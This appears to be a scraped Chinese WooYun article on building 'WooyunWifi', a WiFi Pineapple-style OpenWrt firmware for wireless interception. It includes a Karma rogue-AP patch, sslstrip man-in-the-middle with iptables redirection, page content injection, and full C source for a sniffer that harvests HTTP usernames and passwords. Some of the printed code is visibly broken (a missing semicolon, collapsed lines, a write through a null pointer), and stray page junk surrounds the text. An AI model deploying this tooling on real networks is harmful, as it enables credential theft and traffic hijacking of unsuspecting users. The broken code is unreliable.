<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/3248

    第一章:失傳的菠蘿神話


    0x00 前言:


    WooyunWifi是一款基于Openwrt開發的無線審計測試固件,內置集成了眾多著名無線/網絡審計工具,并基于Ngrep+sslstrip開發了原創工具及BS架構管理界面。 本系列文章將詳細講解 無線安全、網絡安全、嵌入式開發、前端Bootstrap界面設計、后臺PHP程序設計、Shell Script編寫、C語言有限自動機設計、Python網絡編程、Linux高級命令、路由器常識概念 等相關內容

    本章概括了WooyunWifi的技術架構以及功能實現理論。

    0x01 菠蘿神話:


    由于wifi pineapple支持的路由器有限(事實上除了它自己銷售的那一款,其他的路由器都沒辦法完全正常運行),因此網上出現了各種“移植”的教程,只為一睹神器真容,然而多數人最終失敗,少數人在付出了巨大代價后才勉強成功。 Wifi pineapple自稱開源,但事實上并非如此,其公開的源代碼陳舊而混亂,也沒有充足的文檔以供分析。 菠蘿神話已經失傳,只剩國外壟斷銷售的黑客路由器與一群心懷不軌的購買者,技術研究的氣氛 和 自由公開的精神 早已不見了蹤影。 如果你真的好奇大菠蘿到底是怎樣實現的,如果你真的想看到確鑿的技術細節,那么跟我來體驗一把求真求實、自由共享的烏云白帽“安全實踐”吧 注:根據有關法律法規,我們正在仔細評估并設計該固件的”安全使用”限制,盡管遵守GPL協議,在”安全使用”評估設計完成之前不會公開源代碼,也不會向公眾發布固件。

    0x02 架構設計:


    先展示一下WooyunWifi的架構圖(Wooyun Wifi簡稱Woofi):

    enter image description here

    1、 PHP+Bootstrap的組合大家已經在烏云靶場項目中見過了,不過由于路由器環境限制和開源工具數據存儲特性,經過考慮不使用Mysql數據庫存儲數據,直接使用文本方式保存數據內容。

    2、 數據處理則考慮到路由器性能問題(大量實時數據包處理)采用C語言自動機實現

    3、 使用Shell編程簡化了一些控制配置,fate0修復了一個sslstrip的官方bug

    簡而言之,工作流程是這樣的:用戶登錄192.168.16.2,看到uhttpd上的index首頁,然后后臺PHP處理用戶的操作,調用了一些輔助性Shell script,然后比如控制把ngrep抓到的數據實時交給WoofiTools中的mailsniff做數據處理,然后結果以文本形式保存。PHP把文本保存的數據讀取處理,結合uhttpd返回給用戶頁面。

    如果接下來各種程序設計我都是一句話帶過然后瘋狂貼代碼,那么這篇文章也和那些炫耀貼毫無區別了,并無冒犯之意,我也從很多“一句話輕描淡寫”博客中學習了很多知識,只不過由于文章細節不清,BUG和失敗的次數令我覺得難以忍受……所以,接下來我不僅要告訴大家我是怎樣實現的程序,而且要告訴大家我為什么要這樣寫程序。

    0x03 實現方案的演變:


    在我還沒有開始設計之前,我考慮過幾種實現方案

    1、 基于大菠蘿二次開發,修改代碼重新編譯到其他路由器上。這個當時是我的首選方案,直到我發現大菠蘿根本沒有完全公開源代碼,因此徹底不可行

    2、 集成開源軟件,做開源軟件的WEB UI和各種前提配置。當時覺得這樣完全不比大菠蘿二次開發復雜,直到我發現很多開源軟件年久失修BUG成群,能修復的盡量修復,修不好的只能重新開發了。

    3、 集成各種必要的library,自己從頭開發功能程序,這樣很明顯會有重復造輪子的浪費,不過由于發現有些開源軟件無法正常使用,因此也是沒辦法的選擇,當然我也會把那些能夠使用的開源軟件加以利用

    于是,本想著改改大菠蘿代碼就可以了,結果變成了重新集成開源軟件做 WEB UI 于是,本想著重新集成開源軟件做 WEB UI就可以了,結果需要部分底層工具重新開發

    發生這種情況一方面是由于預研不到位,以及SE對技術難度的預判有誤,而導致項目規劃和實際執行嚴重錯位,這么巨大的技術難度偏差很可能導致項目流產。 那么這個項目是怎么來的呢?那就要從2014/7/30的下午說起……

    社區里小伙伴發了個思想無比前衛的帖子:Anymous《設想wooyun智能路由改造openwrt[email protected],瞌睡龍大人把這個光榮的任務交給了我,我當時想了一下答道:“如果只是改改大菠蘿源代碼,不會很難” 事實證明,我在沒有預研的情況下錯判了項目技術難度,看來還有好多的東西要學~

    感想:

    越是看上去簡單的事情,做起來就越復雜。事情即使再復雜,只要做完了就會變得簡單

    0x04 工具原理:


    1、 嗅探使用ngrep+自己寫的C語言自動機,以及sslstrip+自己寫的C語言自動機

    2、 MITM系列功能使用二次開發過的sslstrip來實現

    3、 無線審計開源工具不用修改,直接做WEB UI就可以了(我又錯了,karma把我擊敗了)

    4、 Karma(未完成)通過建立AP并給任意ssid的請求進行響應和服務,達到劫持的目的

    Karma原理詳解:

    首先Karma需要建立一個能夠用來劫持用戶的AP(比如說利用hostapd),然后對hostapd源碼進行patch,使之可以無視請求中的ssid提供服務

    enter image description here

    (默認情況下,若ssid不一致,hostapd會報告異常,因此為了實現karma功能需要hostapd去除ssid檢查)

    部分重要patch如下:

    enter image description here

    即如果karma_beacon_respond選項開啟則無視ssid的檢查,補丁原作者在截圖中有顯示,我只是把他的針對hostapd 2.0補丁重新做到了hostapd最新版20140603上而已

    PS:制作補丁/使用補丁的方式請參見http://wiki.openwrt.org/doc/devel/patches

    再PS:在refresh之后一定要記住把生成好的補丁復制出來備份,因為接下來的步驟會把補丁打進源碼而刪除原補丁文件!!!

    而karma本身程序的運行邏輯是: 首先循環抓無線信號幀(使用了airtap),然后每次抓到信號幀都調用on_probe_request處理,在函數里面首先建立一個鏈表儲存請求的station信息,之后發送響應信號幀

    可惜我沒有成功跑起karma主程序,因為airtap調用了libpcap卻找不到對應的datalink decoder,暫時找不到解決方案

    我曾經以為我熟悉這些工具的原理,直到開發過程中(以后文章詳解)遇到各種問題,才發現要真正的熟悉原理,不僅要知道工具做了什么,而且要知道工具為什么這么做。

    0x05 Luci的簡要分析:


    我們使用Openwrt自己的Luci進行常規功能的管理,因為Luci自己的功能其實是很強大的。我曾經一度想要在Luci之上開發我們的WooyunWifi WEB界面,但是由于cgi和lua腳本都比較陌生,所以為了敏捷開發,還是選擇了PHP 請注意:部分Openwrt版本的Luci不支持網絡中繼功能(就是作為client連接一個Wifi然后再作為AP播出一個Wifi),我選擇的最新barrier_breaker是有這個功能的 另外,Luci依賴uhttpd,因此正好PHP也放在uhttpd上了

    對了,不要自己亂改/etc/config/wireless配置,因為Luci會出BUG

    0x06 投影至烏云峰會irc上:


    這個是臨時功能,為了烏云峰會設計的,從各種sniff中posturl到服務端,然后fate0在瞌睡龍大人的weechat里做了個python插件,我只是post數據,沒有實際參與,因此不知道相關細節。 展示出的代碼中沒有該功能

    第二章:路由器的先天技能


    0x00 前言:


    本章概括了WooyunWifi基于Openwrt的源碼編譯及集成方式。

    0x01 編譯Openwrt:

    我使用的是Ubuntu麒麟14.04:

    首先要看官方文檔,而不是胡亂百度 http://wiki.openwrt.org/doc/howto/easy.build

    官方文檔中的這一句

    svn co -r 36088 svn://svn.openwrt.org/openwrt/branches/attitude_adjustment
    

    是檢出36088版的attitude_adjustment分支源碼,最新版是trunk,新功能多,支持的芯片多,但是穩定的軟件包少。為了支持極路由,我選擇的是最新版barrier_breaker分支,不要忘記去掉-r 36088以檢出最新版本的源碼。

    svn co svn://svn.openwrt.org/openwrt/branches/barrier_breaker
    

    官方文檔中的這一句:

    ./scripts/feeds update –a
    

    可能會因為國內偶爾連不上googlecode而失敗,如果你不需要那些在googlecode上的軟件包,你可以無視失敗信息進行

    ./scripts/feeds install -a
    

    (因為會報告index問題,所以要加-a) 如果正好googlecode上放的是你需要的軟件包,請自行尋找連接google的方式吧

    然后

    ~/20140818/barrier_breaker$ make menuconfig
    

    進行配置

    enter image description here

    第一項是目標芯片型號,不知道自己路由器芯片型號的Google去吧,第二項選項是NAND什么的設置視情況選擇,第三項是你的路由器型號,我這里選擇了極路由,只有在選對了芯片類型后才會可選,其它選項都比較易懂,如果用到再說

    enter image description here

    選擇編譯的軟件包時,星號代表編譯進固件,M代表編譯安裝包但不放進固件,內置某些軟件包時會自動選中依賴項

    Q:為什么選項里沒有我要的軟件包?

    A:可能你沒feeds update install,也可能是你svn檢出的版本不對

    然后就是保存

    make V=s
    

    有很多人喜歡 j4多線程編譯,如果你是第一次編譯,強烈建議你不要這樣做,因為你一旦遇到錯誤輸出的東西比較混亂,查日志很麻煩 然后就是遇到連接錯誤,重新make V=s,還是連接不上,那就和想辦法上國外網站同一個道理,如果校驗出錯,刪掉dl文件夾下的錯誤文件重新 make V=s,視報錯針對性解決

    如果編譯完成,會在

    bin/芯片型號/
    

    下面出現編譯好的固件 比如:openwrt-ar71xx-generic-hiwifi-hc6361-squashfs-sysupgrade.bin 這就是squashfs的極路由固件

    再比如:openwrt-ar71xx-generic-wndr3800-squashfs-factory.img 這就是squashfs的netgear wndr3800 固件

    刷機方法一般可用路由器后臺界面上傳固件刷機,也可根據說明書使用TFTP刷機,如果有經驗也可以線刷

    0x02 開源工具的評測:


    1、 Ngrep:之所以不使用tcpdump是因為ngrep提供了更簡便的數據處理和輸出,運行時很穩定,用它開發了cookiesniff、passsniff、mailsniff等工具

    2、 Dsniff:密碼嗅探不理想,安裝它是為了其中的urlsnarf等工具,相對而言還是自己開發的ngrep+各種sniff不丟包更穩定,話說Http的密碼它根本嗅探不到啊,不知道是不是我配置的問題。

    3、 SSlstrip:官方版本就存在著BUG,不能運行,多虧fate0挺身而出修復了這個BUG,于是我們的Mitm也可以基于sslstrip設計了

    4、 Ettercap:由于Openwrt官方自帶的版本過度古老,因此BUG很多(各種網上已知的bug),不適合做二次開發,因此只集成不做WEB UI。

    5、 Karma:不能夠正常使用,需要大量修改(暫未完成)

    6、 Aircrack-ng:還沒測試

    7、 Reaver:還沒測試

    0x03 fate0修復sslstrip:


    使用sslstrip的時候報錯:

    exceptions.AttributeError: ClientRequest instance has no attribute 'responseHeaders'
    

    fate0通過對sslstrip源碼的檢查,發現了sslstrip集成的twisted版本過于古老,因此建議我更新twisted,但是我發現新版本的twisted容量太大,集成到路由器上不現實,因此Openwrt才會一直集成古老版本的twisted(而且發現它還是縮水的)。

    于是只好求fate0改sslstrip代碼,fate0調試之后發現了問題所在:

    ServerConnection.py
    
    elif (key.lower() == 'set-cookie'):
                #import pdb
                #pdb.set_trace()
                #self.client.responseHeaders.addRawHeader(key, value)
                self.client.setHeader("test_key", "test_value")
                #self.client.setHeader(key, value)
                self.client.cookies.append(value)
            else:
                self.client.setHeader(key, value)
    

    由于#self.client.responseHeaders.addRawHeader(key, value)這一句沒有responseHeaders,因此造成exception

    那么,sslstrip這樣設計的目的是什么呢?我們知道,set-cookie可能會有很多個,而self.client.setHeader(key, value)會毫不猶豫地覆蓋掉之前的set-cookie,因此這段代碼的目的是addRawHeader實現多個set-cookie header

    因此,fate0用self.client.cookies.append(value)實現了這一功能,修復完畢

    0x04 制作修復后的sslstrip軟件包:


    修改sslstrip的Makefile,改為從本地下載(我搭了個nginx),別忘改md5校驗哦

    enter image description here

    然后把修復后的ServerConnection.py打進壓縮包,放在自己nginx即可

    0x05 制作自己的軟件包:


    請優先參閱官方文檔

    例:package/wooyun/wooyunwifi/Makefile

    #
    # Copyright (C) 2011-2012 OpenWrt.org
    #
    # This is free software, licensed under the GNU General Public License v2.
    # See /LICENSE for more information.
    #
    
    include $(TOPDIR)/rules.mk
    
    PKG_NAME:=wooyunwifi
    PKG_RELEASE:=1
    
    include $(INCLUDE_DIR)/package.mk
    
    define Package/wooyunwifi
      SECTION:=wooyun
      CATEGORY:=wooyunwifi
      TITLE:=wooyunwifi
      MAINTAINER:=lxj616
    endef
    
    define Package/wooyunwifi/description
     Wooyun Wifi is a whitehat wifi auditing toolsuite based
     on Openwrt , Have fun testing security issues on your 
     own wifi network ,serves study purpose only, license GPL
                                        ------ [email protected]
    endef
    
    define Build/Prepare
        $(INSTALL_DIR) $(PKG_BUILD_DIR)
        把src里面的源文件復制到build地點(不然編譯時找不到)
        $(INSTALL_DATA) ./src/cookiesniff.c $(PKG_BUILD_DIR)/
        $(INSTALL_DATA) ./src/passsniff.c $(PKG_BUILD_DIR)/
        $(INSTALL_DATA) ./src/mailsniff.c $(PKG_BUILD_DIR)/
        $(INSTALL_DATA) ./src/stripsslstrip.c $(PKG_BUILD_DIR)/
        把不需要編譯的文件夾和文件也拷貝過去
        $(CP) ./WooyunWifi $(PKG_BUILD_DIR)/
        $(CP) ./index.html $(PKG_BUILD_DIR)/
        $(CP) ./conf $(PKG_BUILD_DIR)/
    endef
    
    define Build/Compile
        編譯源文件,如果之前沒復制這步就找不到,用的是交叉編譯
        $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
            -o $(PKG_BUILD_DIR)/cookiesniff $(PKG_BUILD_DIR)/cookiesniff.c
        $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
            -o $(PKG_BUILD_DIR)/passsniff $(PKG_BUILD_DIR)/passsniff.c
        $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
            -o $(PKG_BUILD_DIR)/mailsniff $(PKG_BUILD_DIR)/mailsniff.c
        $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
            -o $(PKG_BUILD_DIR)/stripsslstrip $(PKG_BUILD_DIR)/stripsslstrip.c
    endef
    
    define Package/wooyunwifi/install
        新建文件夾準備復制
        $(INSTALL_DIR) $(1)/usr/bin
        $(INSTALL_DIR) $(1)/etc/wooyunwifi
        復制編譯好的文件到可以運行的地方
        $(INSTALL_BIN) $(PKG_BUILD_DIR)/cookiesniff $(1)/usr/bin/
        $(INSTALL_BIN) $(PKG_BUILD_DIR)/passsniff $(1)/usr/bin/
        $(INSTALL_BIN) $(PKG_BUILD_DIR)/mailsniff $(1)/usr/bin/
        $(INSTALL_BIN) $(PKG_BUILD_DIR)/stripsslstrip $(1)/usr/bin/
        $(INSTALL_DIR) $(1)/www
        直接復制各種文件
        $(CP) $(PKG_BUILD_DIR)/WooyunWifi $(1)/www
        $(CP) $(PKG_BUILD_DIR)/index.html $(1)/www
        $(CP) $(PKG_BUILD_DIR)/conf/basepath.conf $(1)/etc/wooyunwifi
    endef
    
    $(eval $(call BuildPackage,wooyunwifi))
    

    然后再make menuconfig就可以看到自己的軟件包了,然后正常編譯即可,如果報錯注意修改軟件包配置

    第三章:路由器的漂亮界面


    0x00 前言:


    本章概括了WooyunWifi的WEB端功能實現。

    0x01 PHP:


    我曾經考慮,可不可以只用html+cgi實現所有的功能,但考慮到WEB管理的業務需求比較寬松,因此采用PHP敏捷開發更加快速。 Menuconfig時,額外選擇language – PHP – php-mod-session用作登錄控制,同理可集成其它所需插件 為了使uhttpd支持PHP,修改package/network/services/uhttpd/files/uhttpd.config 去掉list interpreter php 的注釋符號,其它配置同理

    enter image description here

    以sslstrip插件的設計為例進行說明

    enter image description here

    /WooyunWifi/sslstrip.inc
    
    $ison=shell_exec("ps|awk '{print $6}'|grep sslstrip");
    

    在PHP中隨時使用shell_execexec執行linux命令獲取工具狀態,并且判斷顯示開關的狀態,之后就是常規的PHP程序設計了

    不過在設計中出現了一個小問題,那就是一些命令比如說ngrep在運行時會掛在那里持續運行,這就導致PHP腳本無法繼續運行,比較奇怪的是nohup &在php里面沒有效果,只有先用PHP sh ***.sh,然后在shell 腳本中才會正常后臺執行,因此:

    sson.php

    <script>
    var xmlhttp;
    xmlhttp=new XMLHttpRequest();
    <?php
    echo 'xmlhttp.open("GET","sslstripon.php",true)';
    ?>
    xmlhttp.send();
    var t=setTimeout("window.location.href=\"/WooyunWifi/index.php?action=sslstrip\";",1000);
    </script>
    

    先異步請求,然后等待1s跳轉回去(解決后面500 bad gateway問題)

    sslstripon.php

    shell_exec("./test2.sh ".$basepath."&");
    

    接到請求,運行shell腳本(還是會掛在這里不能繼續執行)

    Test2.sh

    #!/bin/sh
    
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
    iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 10000
    
    echo "1" > ${1}/sslstrip.log
    sslstrip -w ${1}/sslstrip.log -l 10000 &
    tail -f ${1}/sslstrip.log|stripsslstrip &
    
    kill $(ps|grep "php-cgi"|awk '{print $1}') &
    

    結束掉php-cgi的進程,因為uhttpd是一個單線程服務器,因此php-cgi掛在那里就會導致服務器無響應,kill掉之后服務器才能響應其他請求。

    所以流程是這樣的: 1、 用戶打開頁面 2、 PHP執行shell命令,判斷sslstrip是否正在運行,如果不是,返回“啟動”按鈕 3、 用戶點擊啟動按鈕 4、 到sson.php中異步請求sslstripon.php,然后…… 5、 sslstripon.php調用test2.sh,后臺運行sslstrip,然后test2.sh kill掉php-cgi,于是sslstripon.php執行完畢(返回500 bad gateway),但是用戶在sson.php中等待1s后返回主界面了,所以看不到500錯誤

    繞了個圈解決了單線程服務器的阻塞問題,不過這樣看來軟件架構怪怪的,先實現功能再說,以后再改進吧

    大家可能會有這樣的疑問: 你在PHP中運行shell命令時難道不是www-data權限嗎? 如何運行tcpdump之類的高權限程序呢?

    其實我之前也特地設計了用sudoer解決權限問題的方案,只不過后來我發現(個人猜測),Openwrt這類的嵌入式系統權限和用戶組并不嚴格,直接就是root運行一切程序了

    0x02 Bootstrap前端設計:


    在線畫了個框架,然后放在路由器上一邊vi一邊刷新瀏覽器

    enter image description here

    0x03 MITM功能設計:


    因為這個功能主要是在應用層實現的,而且和WEB相關協議聯系比較密切,所以放在WEB層來探討這個問題。 首先我們來分析一下解決這個功能的可選方案:

    1、 在傳輸層使用transparent proxy做MITM數據包截取/修改 2、 在應用層使用HTTP雙向通信模型做MITM內容截取/修改

    剛開始的思路是做一個transparent proxy,但是發現由于數據包分段以及gzip格式傳輸,導致傳輸層做HTTP內容注入比較復雜,而且其他協議的數據包又不具備通用性的MITM介入方式,因此綜合看來還是做應用層HTTP協議的雙向通信模型比較簡便。

    而我們知道,SSlstrip就是基于這種應用層雙向通信模型構建的,我們可以借用SSlstrip的代碼進行改造

    ServerConnection.py
    
        def replaceSecureLinks(self, data):
            iterator = re.finditer(ServerConnection.urlExpression, data)
    
            for match in iterator:
                url = match.group()
    
                logging.debug("Found secure reference: " + url)
    
                url = url.replace('https://', 'http://', 1)
                url = url.replace('&amp;', '&')
                self.urlMonitor.addSecureLink(self.client.getClientIP(), url)
    
            data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)
    
            #在這里對data進行處理,即可完成MITM介入
            #這個函數本來的功能是替換https為http普通鏈接
            #在此之前已經完成了對gzip的解壓,以及建立了雙向連接
    
            replaceconfig=os.popen('cat /etc/wooyunwifi/replace.conf').readlines()
            data = data.replace(replaceconfig[0].strip(),replaceconfig[1].strip())
    
            #其實就兩句話,看上去很簡單,哈
    
            return re.sub(ServerConnection.urlType, 'http://', data)
    

    再做個WEB頁面 至此,MITM設計完畢

    感想:寫一句代碼只需要一分鐘,但知道這行代碼寫在哪需要一天

    enter image description here

    既然WEB控制端設計好了,開始做model層的數據處理工具吧!

    第四章:路由器的數據處理


    0x00 前言:


    本章概括了WooyunWifi的model層數據處理功能實現。

    0x01 交叉編譯:


    我們在本地編譯一個Linux程序:

    gcc -o mailsniff mailsniff.c
    ./mailsniff.c 
    

    在本地可以正常運行

    而我們要編譯一個在路由器上可以運行的程序,又不能給路由器安裝gcc,那怎么辦呢?

    我們采取交叉編譯在本地編譯路由器中的程序:

    ./barrier_breaker/staging_dir/toolchain-mips_34kc_gcc-4.8-linaro_uClibc-0.9.33.2/bin/mips-openwrt-linux-gcc -o mailsniff mailsniff.c
    

    這里的交叉編譯工具鏈跟你的路由器芯片型號有關,需要你先選擇toolchains編譯make V=s后才會出現,當然你也可以從downloads.openwrt.org直接下載對應芯片型號的toolchains

    如何制作軟件包集成進固件在第二章介紹,此處不再贅述

    0x02 數據交互:


    實例說明:

    echo "1" > ${1}/sslstrip.log
    

    將echo的結果寫入文件(basepath從外部PHP調用傳入)

    ngrep -l -q -W byline -d $1 port 110 or 143 or 25|mailsniff
    

    將ngrep的stdout接到mailsniff的stdin上(device從外部PHP調用傳入)

    注意:這里的ngrep -l 選項是為了使ngrep的stdout以行為單位緩沖,避免由于數據緩沖導致的數據不及時同步問題

    而sslstrip本身是輸出一個log文件

    sslstrip -w ${1}/sslstrip.log -l 10000 & 
    tail -f ${1}/sslstrip.log|stripsslstrip &
    

    使用tail就可以實現實時輸出

    0x03 自動機設計:


    以passsniff為例介紹C語言自動機設計:

    /*
        code by [email protected]
    */
    #include <stdlib.h>
    #include <errno.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <unistd.h>
    
    //Openwrt默認權限可以讀寫etc下文件
    void get_basepath(char *basepath)
    {
        FILE *fp1;
        fp1 = fopen("/etc/wooyunwifi/basepath.conf","r");
        fscanf(fp1,"%s",basepath);  
        fclose(fp1);
    }
    
    //解析URL中用戶名和密碼
    void strip_pass(char *basepath,char *buffer,char *host)
    {
        int i;
        int flag=0;
        char *user;
        char *pass;
        user=strstr(buffer,"user");
        pass=strstr(buffer,"pass");
    
        if(user&&pass)
        {
            user=strstr(user,"=")+1;
            pass=strstr(pass,"=")+1;
    
            for(i=0;user[i]!='\0'&&flag==0;i++)
            {
                if(user[i]=='&')
                {
                    user[i]='\0';
                    flag=1;
                }
            }
            flag=0;
            for(i=0;pass[i]!='\0'&&flag==0;i++)
            {
                if(pass[i]=='&')
                {
                    pass[i]='\0';
                    flag=1;
                }
            }
        }
        else 
        {
            strcpy(user,"unknown");     strcpy(pass,"unknown");     }   update_log(basepath,host,user,pass); } 
    //寫文本文件保存信息
    void writeLog(char *path,char *user,char *pass)
    {
        FILE *fp = fopen(path,"a");
        fputs("\r\n",fp);
        fputs(user,fp);
        fputs("\r\n",fp)
        fputs(pass,fp);
        fputs("\r\n",fp);
        fflush(stdout);
        fclose(fp);
    }
    
    //寫文件,以host命名,因為是直接讀的Host: ***.com,因此去掉前面的前綴
    void update_log(char *basepath,char *host,char *user,char *pass)
    {
        char tmppath[1629];
        strcpy(tmppath,basepath);
        strcat(tmppath,"/passdump/");
        writeLog(strcat(tmppath,host+6),user,pass);
    }
    
    
    int main()
    {
        char basepath2[128];
        char basepath[128];
        char buffer[1629]="0";
        char pass[1629]="0";
        char pass2[1629]="0";
        char host[1629]="0";
        char host2[1629]="0";
        int flag=0;
    
        char mkdir[128]="mkdir "; 
    
        get_basepath(basepath);
    
        strcat(mkdir,basepath);
        strcat(mkdir,"/passdump");
    
        //先保證存在保存的文件夾
        system(mkdir);
    
        while(1)
        {
            fgets(buffer,1628,stdin);
            //如果是空行,代表一個數據包結束 或者 緊接著POST內容
            if(strcmp(buffer,"\n")==0)
            {
                //已經出現了記錄?寫文件然后清空當前密碼記錄
                if((strcmp(host,"0")!=0)&&(strcmp(pass,"0")!=0))
                {
                    //干掉referer,免得一個密碼記錄好多次
                    if(!strstr(pass,"Referer:"))
                    {
                        strip_pass(basepath,pass,host);
                        printf("\n\n");
                    }
                    strcpy(pass,"0");
                }
            }
            else if(strstr(buffer,"Host:"))
            {
                //去掉0x0a和0x0d
                buffer[strlen(buffer)-2]='\0';
                strcpy(host,buffer);
            }
            else if(strstr(buffer,"user")&&strstr(buffer,"pass"))
            {
                //去掉0x0a和0x0d
                buffer[strlen(buffer)-2]='\0';
                strcpy(pass,buffer);
            }
            //buffer[strlen(buffer)-2]='\0';
        }
        return 0;
    }
    

    概括起來我們的自動機做了以下事情:

    1、 Ngrep嗅探PHP指定的device數據包,篩選80端口HTTP請求,然后把stdout轉接到我們的自動機stdin上 2、 C語言自動機不斷按行讀取stdin中的輸入,不停檢測密碼信息以及Host信息,但數據包結束后,判斷是否截獲密碼信息,如果是,追加寫入文本記錄文件 3、 自動機本身不會停止工作,必須依靠PHP+Shellscript來外部kill掉

    0x04 為什么不用python:


    字符處理,還是python方便,但是我們真的很需要“效率”,無論是從內存占用還是數據包延遲來說,C語言仍然占據了不可替代的優勢(其實也沒那么懸殊,只不過自動機程序比較簡單,因此對C熟練的話不會很吃力) 還有一個重要的原因是:當初我以為會涉及到kernel的數據包修改,后來寫完自動機才發現原來想多了,所以C語言反倒只用來寫了幾個自動機,唉……

    0x05 使用iptables重定向流量

    例:

    iptables -t nat -A PREROUTING -s 192.168.16.249 -p tcp --dport 80 -j DNAT --to-destination 192.168.16.134:8029
    iptables -t nat -A POSTROUTING -p tcp -d 192.168.16.134 --dport 80 -j MASQUERADE
    iptables -t nat -A POSTROUTING -p tcp -d 192.168.16.134 --dport 8029 -j MASQUERADE
    

    由此一方面可以將流量重定向到自己的proxy上(是transparrent proxy),也可以直接轉發到其他ip(如burpsuite)

    至此,WooyunWifi設計完成,大家可能會覺得“哇,還是很簡單的嘛”,如果大家真的打算試一下全過程,請務必要看《WooyunWifi 第五章:十萬個變磚方法》

    97av